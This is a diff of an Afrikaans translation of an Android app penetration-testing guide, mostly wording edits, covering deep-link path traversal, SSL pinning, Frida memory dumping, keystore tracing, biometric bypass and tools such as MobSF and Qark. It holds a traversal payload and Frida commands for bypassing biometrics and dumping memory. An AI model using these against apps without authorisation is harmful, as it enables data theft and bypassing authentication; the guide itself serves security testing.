@ -378,11 +384,11 @@ Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwitei
|
||||
|
||||
**Sensitiewe inligting**
|
||||
|
||||
Elke keer as jy 'n diep skakel vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep skakel naboots en daardie data steel!**
|
||||
Elke keer as jy 'n diep link vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep link naboots en daardie data steel!**
|
||||
|
||||
**Parameters in pad**
|
||||
|
||||
Jy **moet ook kyk of enige diep skakel 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
|
||||
Jy **moet ook kyk of enige diep link 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
|
||||
Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die pad as domeinnaam gebruik word), **rekening oorname** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF-token en die kwesbare eindpunt die korrekte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Meer voorbeelde**
|
||||
@ -391,13 +397,13 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk '
|
||||
|
||||
### Vervoer Laag Inspeksie en Verifikasie Foute
|
||||
|
||||
- **Sertifikate word nie altyd behoorlik inspekteer** deur Android-toepassings nie. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
|
||||
- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
|
||||
- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel.
|
||||
- **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekoekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
|
||||
|
||||
#### Sertifikaat Verifikasie
|
||||
|
||||
Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) bied omvattende leiding.
|
||||
Ons sal fokus op **sertifikaat verifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is van kardinale belang omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-geënkripteerde kanale beduidende risiko's kan inhou. Vir gedetailleerde stappe oor die verifikasie van bedienersertifikate en die aanspreek van kwesbaarhede, bied [**hierdie hulpbron**](https://manifestsecurity.com/android-application-security-part-10/) omvattende leiding.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -423,12 +429,12 @@ Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om
|
||||
|
||||
#### Soek na Algemene Web Kwesbaarhede
|
||||
|
||||
Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en versagting van hierdie kwesbaarhede is buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel.
|
||||
Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede is buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) is 'n dinamiese instrumentasie toolkit vir ontwikkelaars, omgekeerde ingenieurs, en sekuriteitsnavorsers.\
|
||||
**Jy kan lopende toepassings toegang verkry en metodes op tydstip haak om die gedrag te verander, waardes te verander, waardes uit te trek, verskillende kode te loop...**\
|
||||
**Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\
|
||||
As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
|
||||
|
||||
- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/index.html)
|
||||
@ -450,17 +456,17 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep.
|
||||
Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Sensitiewe data in Keystore**
|
||||
|
||||
In Android is die Keystore die beste plek om sensitiewe data te stoor, egter, met genoeg regte is dit steeds **moontlik om toegang te verkry**. Aangesien toepassings geneig is om hier **sensitiewe data in duidelike teks** te stoor, moet die pentests dit nagaan as 'n root gebruiker of iemand met fisiese toegang tot die toestel in staat kan wees om hierdie data te steel.
|
||||
In Android is die Keystore die beste plek om sensitiewe data te stoor, egter, met genoeg bevoegdhede is dit steeds **moontlik om toegang te verkry**. Aangesien toepassings geneig is om hier **sensitiewe data in duidelike teks** te stoor, moet die pentests dit nagaan as 'n root gebruiker of iemand met fisiese toegang tot die toestel in staat kan wees om hierdie data te steel.
|
||||
|
||||
Selfs al het 'n app data in die keystore gestoor, moet die data geënkripteer wees.
|
||||
|
||||
Om toegang tot die data binne die keystore te verkry, kan jy hierdie Frida-skrip gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Om toegang te verkry tot die data binne die keystore kan jy hierdie Frida-skrip gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
@ -472,9 +478,9 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Agtergrond Beelde**
|
||||
|
||||
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin om die beeld te laai voordat die app, sodat dit lyk asof die app vinniger gelaai is.
|
||||
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit die beeld begin laai voordat die app, sodat dit lyk asof die app vinniger gelaai is.
|
||||
|
||||
As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot **daardie inligting steel** (let daarop dat jy root nodig het om toegang te verkry).
|
||||
As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om toegang te verkry).
|
||||
|
||||
Die snapshots word gewoonlik gestoor rondom: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
@ -490,12 +496,12 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di
|
||||
|
||||
Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees.
|
||||
|
||||
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objekke omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
|
||||
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
|
||||
|
||||
### Belangrike Afleidings
|
||||
### Essensiële Afleidings
|
||||
|
||||
- **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem.
|
||||
- Exploits behels die oorplasing van `Intent` objekke as ekstra's, wat herlei kan word om onveilige operasies uit te voer.
|
||||
- Exploits behels die oorplasing van `Intent` objektes as ekstra's, wat herlei kan word om onveilige operasies uit te voer.
|
||||
- Dit kan nie-geëksporteerde komponente en inhoudverskaffers aan aanvallers blootstel.
|
||||
- `WebView`’s URL na `Intent` omskakeling kan onbedoelde aksies fasiliteer.
|
||||
|
||||
@ -504,7 +510,7 @@ Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponen
|
||||
Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal versigtig wees met hierdie kwesbaarhede in 'n Android-toepassing:
|
||||
|
||||
- **SQL Inspuiting:** Wanneer jy met dinamiese navrae of Inhoudverskaffers werk, verseker dat jy geparametriseerde navrae gebruik.
|
||||
- **JavaScript Inspuiting (XSS):** Verifieer dat JavaScript en Plugin ondersteuning vir enige WebViews gedeaktiveer is (standaard gedeaktiveer). [Meer inligting hier](webview-attacks.md#javascript-enabled).
|
||||
- **JavaScript Inspuiting (XSS):** Verifieer dat JavaScript en Plugin-ondersteuning vir enige WebViews gedeaktiveer is (standaard gedeaktiveer). [Meer inligting hier](webview-attacks.md#javascript-enabled).
|
||||
- **Plaaslike Lêer Insluiting:** WebViews moet toegang tot die lêerstelsel gedeaktiveer hê (standaard geaktiveer) - `(webview.getSettings().setAllowFileAccess(false);)`. [Meer inligting hier](webview-attacks.md#javascript-enabled).
|
||||
- **Ewige koekies**: In verskeie gevalle wanneer die android-toepassing die sessie beëindig, word die koekie nie herroep nie of dit kan selfs op skyf gestoor word.
|
||||
- [**Veilige Vlag** in koekies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
@ -519,22 +525,22 @@ Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal
|
||||
|
||||
.png>)
|
||||
|
||||
**Kwetsbaarheidsevaluasie van die toepassing** met 'n mooi web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
|
||||
**Kwetsbaarheidsevaluasie van die toepassing** met 'n pragtige web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Let wel dat MobSF **Android**(apk)**, IOS**(ipa) **en Windows**(apx) toepassings kan analiseer (_Windows toepassings moet geanaliseer word vanaf 'n MobSF wat op 'n Windows gasheer geïnstalleer is_).\
|
||||
As jy ook 'n **ZIP**-lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
|
||||
As jy ook 'n **ZIP** lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
|
||||
|
||||
MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer.
|
||||
MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = <Jou API-sleutel>` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer.
|
||||
|
||||
### Geassisteerde dinamiese analise met MobSF
|
||||
|
||||
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer (n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\
|
||||
Die **MobSF dinamiese ontleder** kan:
|
||||
|
||||
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
|
||||
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
|
||||
- **HTTPS-verkeer** vasvang
|
||||
- **Frida** gebruik om **runtime** **inligting** te verkry
|
||||
|
||||
@ -542,11 +548,11 @@ Van Android **weergawe > 5**, sal dit **outomaties Frida begin** en globale **pr
|
||||
|
||||
**Frida**
|
||||
|
||||
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** te **omseil** en om **interessante API's** te **moniteer**.\
|
||||
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** en om **interessante API's** te **moniteer**.\
|
||||
MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag.
|
||||
|
||||
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\
|
||||
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
|
||||
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Begin Instrumentasie**". Druk op "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepe na gehookte metodes, oorgange en teruggegee waardes te sien (dit sal verskyn nadat jy "Begin Instrumentasie" gedruk het).\
|
||||
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer byvoeg in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), kies net **hulle**, druk "**Laai**" en druk "**Begin Instrumentasie**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -554,16 +560,16 @@ Boonop het jy 'n paar bykomende Frida-funksies:
|
||||
|
||||
- **Laaide Klasse Opneem**: Dit sal al die gelaaide klasse druk
|
||||
- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaiig)
|
||||
- **String Vergelykings Vasvang**: Dit kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was.
|
||||
- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was.
|
||||
- **Klas Metodes Opneem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
|
||||
- **Klas Patroon Soek**: Soek klasse volgens patroon
|
||||
- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
|
||||
- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien invoere en uitgange van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
|
||||
|
||||
Sodra jy die bykomende module wat jy wil gebruik, gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
|
||||
Sodra jy die bykomende module wat jy wil gebruik, gekies het, moet jy druk op "**Begin Instrumentasie**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** aan die onderkant van die dinamiese analise bladsy. Sommige interessante opdragte:
|
||||
Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** onderaan die dinamiese analise bladsy. Sommige interessante opdragte:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -574,13 +580,13 @@ receivers
|
||||
```
|
||||
**HTTP gereedskap**
|
||||
|
||||
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\
|
||||
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie af kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\
|
||||
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **fuzz http versoeke** en soek na kwesbaarhede.
|
||||
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en soek na kwesbaarhede.
|
||||
|
||||
> [!TIP]
|
||||
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur:
|
||||
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal dit nie vanaf die GUI kan regstel nie. Jy kan die proxy-instellings regstel deur:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -599,7 +605,7 @@ Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer.
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Hierdie gereedskap is ontwerp om te soek na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede**, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
|
||||
Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -619,7 +625,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Linux, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
|
||||
SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
|
||||
|
||||
Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het.
|
||||
|
||||
@ -631,9 +637,9 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statiese kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
|
||||
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer.
|
||||
|
||||
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n pasgemaakte ervaring te kry.
|
||||
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa-lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
|
||||
|
||||
Laai [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -651,7 +657,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** is 'n hulpmiddel wat as hoofdoel het om die gebruiker te detecteer en te waarsku oor potensiële kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is.
|
||||
|
||||
Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
|
||||
Die detectie word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
|
||||
|
||||
Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders eksfiltrasie, Klank/video vloei onderskepping, PIM data wysiging, Willekeurige kode uitvoering...
|
||||
```
|
||||
@ -661,28 +667,28 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Raamwerk. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals.
|
||||
**MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals.
|
||||
|
||||
Dit kan:
|
||||
Dit is in staat om:
|
||||
|
||||
- Java en Smali kode onttrek met behulp van verskillende hulpmiddels
|
||||
- APK's analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Privaat inligting uit die APK onttrek met behulp van regexps.
|
||||
- Die Manifest analiseer.
|
||||
- Gevonde domeine analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
- Java en Smali kode te onttrek met behulp van verskillende hulpmiddels
|
||||
- APK's te analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Privaat inligting uit die APK te onttrek met behulp van regexps.
|
||||
- Die Manifest te analiseer.
|
||||
- Gevonde domeine te analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- APK te deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuskerende/Deobfuskerende kode
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer. Geheime mag of mag nie obfuskeer wees nie.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2.
|
||||
Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit is in staat om bytecode te optimaliseer sowel as om ongebruikte instruksies te identifiseer en te verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2.
|
||||
|
||||
ProGuard word versprei as deel van die Android SDK en loop wanneer die toepassing in vrystellingmodus gebou word.
|
||||
|
||||
@ -706,7 +712,7 @@ Jy kan 'n obfuskeer APK na hul platform oplaai.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android toepassings te vind en android toepassingskode te deobfuskeer. Gebruik Google se Gemini publieke API.
|
||||
Dit is 'n LLM hulpmiddel om enige potensiële sekuriteitskwesbaarhede in android toepassings te vind en android app kode te deobfuskeer. Gebruik Google se Gemini publieke API.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
@ -724,7 +730,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerk, tutoriaal en labs van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit.
|
||||
AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaal en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -154,7 +154,7 @@ PID Name Identifier
|
||||
```
|
||||
### Basiese Enumerasie & Hooking
|
||||
|
||||
Leer hoe om die **komponente van die toepassing te enumerate** en hoe om maklik **metodes en klasse te hook** met objection:
|
||||
